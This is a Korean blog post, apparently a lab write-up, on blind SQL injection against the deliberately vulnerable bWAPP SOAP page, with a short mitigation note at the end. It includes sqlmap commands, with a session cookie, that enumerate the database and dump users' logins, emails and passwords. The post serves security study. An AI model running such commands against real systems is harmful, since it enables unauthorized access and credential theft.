실습 환경 구축은 이 글에 설명되어있다. (https://rimystory.tistory.com/18)
이번 실습은 모든 공격을 칼리 리눅스 내에서 진행한다.
칼리 리눅스 터미널에서 burpsuite 명령어를 입력하면 칼리에서 버프스위트를 실행할 수 있다.
버프스위트 실행 후 Open browser - ip주소를 입력하고 bWAPP에 접속하여 공격 진행.
(용어 정리)
SOAP(Simple Object Access Protocol)는 애플리케이션 계층의 프로토콜을 전송 계층의 프로토콜로 사용할 수 있게 하는 프로토콜이다.
즉, HTTP, HTTPS, SMTP 등을 통하여 XML 기반의 메시지가 네트워크에서 교환된다.
웹 서비스는 네트워크에 있는 정보를 모아 서비스로 제공하므로 SOAP 덕분에 물리적으로 인접하지 않은 서버에 정보를 요청하고 요청에 대한 응답 값을 확인할 수 있다.
SQL Injection - Blind (Web Services/SOAP)
sqli_5.php 페이지는 SOAP 기능을 활용하여 선택한 영화에 남아있는 티켓 수를 출력한다.
이를 통해 Boolean Based SQL 인젝션과 Time Based SQL 인젝션이 가능하다.
- Time Based SQL Injection: 웹 페이지의 응답만으로는 쿼리의 참/거짓을 판단하기 힘들 때, sleep 함수 등을 사용하여 지연 시간을 통해 참/거짓을 판단하는 공격.

취약점 찾는 순서:
1. URL에 드러난 title 변수에 작은따옴표(')를 넣어 SQL 인젝션 취약점이 있는지 판단.
2. 구문이 참/거짓인 경우 오류 메시지가 어떻게 출력되는지 파악.
3. Boolean Based SQL Injection 혹은 Time Based SQL Injection 실행
SQLMap 실행
먼저 버프스위트에서 쿠키값을 복사하여 명령어에 입력해야 한다. 데이터베이스의 구조를 파악하는 명령어 실행.
sqlmap -u "http://192.168.56.101/bWAPP/sqli_5.php" --cookie="PHPSESSID=6c94fc2af2c52cf2ad5dae0a24251375; security_level=0" --data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" --dbs
[결과화면]

현재 페이지(sqli_5)에선 bWAPP 데이터베이스를 사용한다고 가정 후, bWAPP DB의 테이블을 파악하는 명령어 실행.
sqlmap -u "http://192.168.56.101/bWAPP/sqli_5.php" --cookie="PHPSESSID=6c94fc2af2c52cf2ad5dae0a24251375; security_level=0" --data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP --tables
[결과화면]

계정 정보가 있을거라 추측되는 users 테이블의 컬럼을 파악하는 명령어 실행.
sqlmap -u "http://192.168.56.101/bWAPP/sqli_5.php" --cookie="PHPSESSID=6c94fc2af2c52cf2ad5dae0a24251375; security_level=0" --data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP -T users --columns
[결과화면]

주요 컬럼(이메일, 비밀번호 등)으로 추측되는 컬럼들의 내용을 출력하는 명령어 실행.
sqlmap -u "http://192.168.56.101/bWAPP/sqli_5.php" --cookie="PHPSESSID=6c94fc2af2c52cf2ad5dae0a24251375; security_level=0" --data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP -T users -C login,email,password,secret --dump --batch
[결과화면]

(대응방안)
sqli_5.php 페이지의 소스코드를 확인하면 난이도 high에서는 mysql_real_escape_string 함수를 사용하여 입력 데이터를 우회하는 것을 볼 수 있다. SQL 문법에서 사용하는 특수 문자 등을 입력하면 앞에 백슬래시가 붙어 SQL 쿼리로 인식되지 않는다.
'Projects > 애플리케이션 보안' 카테고리의 다른 글
| [bWAPP] 실습 환경 구축 가이드 (버추얼박스, 비박스, 칼리 리눅스 설치) (3) | 2025.09.02 |
|---|---|
| [bWAPP] XML/Xpath Injection 공격 실습 (2) | 2025.09.02 |
| [bWAPP] Blind SQL Injection 공격 실습 (Boolean Based) (4) | 2025.08.26 |
| [bWAPP] SQL Injection(POST/Select) 공격 실습 - SQLMap 활용 (0) | 2025.08.25 |
| [bWAPP] SQL Injection(GET/Select) 공격 실습 (1) | 2025.08.25 |